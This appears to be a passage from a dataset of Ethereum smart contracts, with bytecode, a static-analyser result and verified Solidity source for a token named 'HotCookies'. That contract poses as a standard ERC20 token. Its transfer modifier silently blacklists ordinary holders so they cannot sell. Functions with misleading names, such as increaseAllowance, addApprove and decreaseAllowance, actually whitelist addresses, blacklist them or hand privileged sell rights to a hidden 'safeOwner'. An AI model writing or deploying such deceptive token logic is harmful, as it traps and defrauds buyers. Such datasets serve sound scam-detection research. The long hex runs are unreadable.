fffffffffffffffffff1614610e7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7290611da9565b60405180910390fd5b60001515600b60009054906101000a900460ff1615151415610eb7576001600b60006101000a81548160ff021916908315150217905550610ed3565b6000600b60006101000a81548160ff0219169083151502179055505b565b6000610f1783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061192b565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8e90611e29565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffe90611d69565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110e59190611e49565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611162576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115990611de9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c990611d29565b60405180910390fd5b60008111611215576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120c90611dc9565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806112b65750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156112ff57600081146112fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f590611d49565b60405180910390fd5b5b60001515600b60009054906101000a900460ff16151514806113535750611324611902565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806113905750611361611902565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561179a57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156114385750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115eb576114a98160405180606001604052806026815260200161228a60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f69092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061153e81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185a90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115de9190611e49565b60405180910390a3611795565b6116578160405180606001604052806026815260200161228a60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f69092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116ec81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461185a90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161178c9190611e49565b60405180910390a35b6117f1565b60001515600b60009054906101000a900460ff161515146117f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e790611e09565b60405180910390fd5b5b505050565b600083831115829061183e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118359190611d07565b60405180910390fd5b506000838561184d9190611f22565b9050809150509392505050565b60008082846118699190611e9b565b9050838110156118ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a590611d89565b60405180910390fd5b8091505092915050565b60006118fa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117f6565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008083118290611972576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119699190611d07565b60405180910390fd5b50600083856119819190611ef1565b9050809150509392505050565b60008135905061199d8161225b565b92915050565b6000813590506119b281612272565b92915050565b6000602082840312156119ce576119cd61203c565b5b60006119dc8482850161198e565b91505092915050565b600080604083850312156119fc576119fb61203c565b5b6000611a0a8582860161198e565b9250506020611a1b8582860161198e565b9150509250929050565b600080600060608486031215611a3e57611a3d61203c565b5b6000611a4c8682870161198e565b9350506020611a5d8682870161198e565b9250506040611a6e868287016119a3565b9150509250925092565b60008060408385031215611a8f57611a8e61203c565b5b6000611a9d8582860161198e565b9250506020611aae858286016119a3565b9150509250929050565b60008060408385031215611acf57611ace61203c565b5b6000611add858286016119a3565b9250506020611aee858286016119a3565b9150509250929050565b611b0181611f56565b82525050565b611b1081611f68565b82525050565b6000611b2182611e7f565b611b2b8185611e8a565b9350611b3b818560208601611fab565b611b4481612041565b840191505092915050565b6000611b5c602383611e8a565b9150611b6782612052565b604082019050919050565b6000611b7f600783611e8a565b9150611b8a826120a1565b602082019050919050565b6000611ba2602283611e8a565b9150611bad826120ca565b604082019050919050565b6000611bc5601b83611e8a565b9150611bd082612119565b602082019050919050565b6000611be8602083611e8a565b9150611bf382612142565b602082019050919050565b6000611c0b602983611e8a565b9150611c168261216b565b604082019050919050565b6000611c2e602583611e8a565b9150611c39826121ba565b604082019050919050565b6000611c51600083611e8a565b9150611c5c82612209565b600082019050919050565b6000611c74602483611e8a565b9150611c7f8261220c565b604082019050919050565b611c9381611f94565b82525050565b611ca281611f9e565b82525050565b6000602082019050611cbd6000830184611af8565b92915050565b6000604082019050611cd86000830185611af8565b611ce56020830184611b07565b9392505050565b6000602082019050611d016000830184611b07565b92915050565b60006020820190508181036000830152611d218184611b16565b905092915050565b60006020820190508181036000830152611d4281611b4f565b9050919050565b60006020820190508181036000830152611d6281611b72565b9050919050565b60006020820190508181036000830152611d8281611b95565b9050919050565b60006020820190508181036000830152611da281611bb8565b9050919050565b60006020820190508181036000830152611dc281611bdb565b9050919050565b60006020820190508181036000830152611de281611bfe565b9050919050565b60006020820190508181036000830152611e0281611c21565b9050919050565b60006020820190508181036000830152611e2281611c44565b9050919050565b60006020820190508181036000830152611e4281611c67565b9050919050565b6000602082019050611e5e6000830184611c8a565b92915050565b6000602082019050611e796000830184611c99565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611ea682611f94565b9150611eb183611f94565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ee657611ee5611fde565b5b828201905092915050565b6000611efc82611f94565b9150611f0783611f94565b925082611f1757611f1661200d565b5b828204905092915050565b6000611f2d82611f94565b9150611f3883611f94565b925082821015611f4b57611f4a611fde565b5b828203905092915050565b6000611f6182611f74565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611fc9578082015181840152602081019050611fae565b83811115611fd8576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f6e6f20626f747300000000000000000000000000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61226481611f56565b811461226f57600080fd5b50565b61227b81611f94565b811461228657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220653b5f46c50ea46b1b12153f707f50bca8ddb1990636b5455b0e1f0c22fe2efa64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
4,818
0x1c561df3b7fab26baee62423bccce682bb0fff18
/** *Submitted for verification at Etherscan.io on 2021-06-02 */ /** *Submitted for verification at Etherscan.io on 2021-06-02 */ pragma solidity ^0.6.6; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract HotCookies is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610626578063b2bdfa7b1461068c578063dd62ed3e146106d6578063e12681151461074e576100f5565b806352b0f196146103b157806370a082311461050757806380b2122e1461055f57806395d89b41146105a3576100f5565b806318160ddd116100d357806318160ddd1461029b57806323b872dd146102b9578063313ce5671461033f5780634e6ec24714610363576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610806565b005b6101ba6109bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a61565b604051808215151515815260200191505060405180910390f35b6102a3610a7f565b6040518082815260200191505060405180910390f35b610325600480360360608110156102cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a89565b604051808215151515815260200191505060405180910390f35b610347610b62565b604051808260ff1660ff16815260200191505060405180910390f35b6103af6004803603604081101561037957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b79565b005b610505600480360360608110156103c757600080fd5b8101908080359060200190929190803590602001906401000000008111156103ee57600080fd5b82018360208201111561040057600080fd5b8035906020019184602083028401116401000000008311171561042257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561048257600080fd5b82018360208201111561049457600080fd5b803590602001918460208302840111640100000000831117156104b657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d98565b005b6105496004803603602081101561051d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f81565b6040518082815260200191505060405180910390f35b6105a16004803603602081101561057557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc9565b005b6105ab6110d0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105eb5780820151818401526020810190506105d0565b50505050905090810190601f1680156106185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106726004803603604081101561063c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611172565b604051808215151515815260200191505060405180910390f35b610694611190565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b6565b6040518082815260200191505060405180910390f35b6108046004803603602081101561076457600080fd5b810190808035906020019064010000000081111561078157600080fd5b82018360208201111561079357600080fd5b803590602001918460208302840111640100000000831117156107b557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061123d565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156109bb576001600260008484815181106108ea57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061095557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108cf565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a575780601f10610a2c57610100808354040283529160200191610a57565b820191906000526020600020905b815481529060010190602001808311610a3a57829003601f168201915b5050505050905090565b6000610a75610a6e6113f5565b84846113fd565b6001905092915050565b6000600554905090565b6000610a968484846115f4565b610b5784610aa26113f5565b610b5285604051806060016040528060288152602001612eaa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b086113f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6113fd565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c5181600554612db190919063ffffffff16565b600581905550610cca81600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b8251811015610f7b57610e9a838281518110610e7957fe5b6020026020010151838381518110610e8d57fe5b6020026020010151611172565b5083811015610f6e576001806000858481518110610eb457fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f6d838281518110610f1c57fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6113fd565b5b8080600101915050610e61565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111685780601f1061113d57610100808354040283529160200191611168565b820191906000526020600020905b81548152906001019060200180831161114b57829003601f168201915b5050505050905090565b600061118661117f6113f5565b84846115f4565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611300576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156113f157600180600084848151811061132057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138b57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611306565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611483576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612ef76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611509576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e626022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156116c35750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156119ca5781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561178f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611815576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611820868686612e39565b61188b84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061191e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce9565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611a735750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffff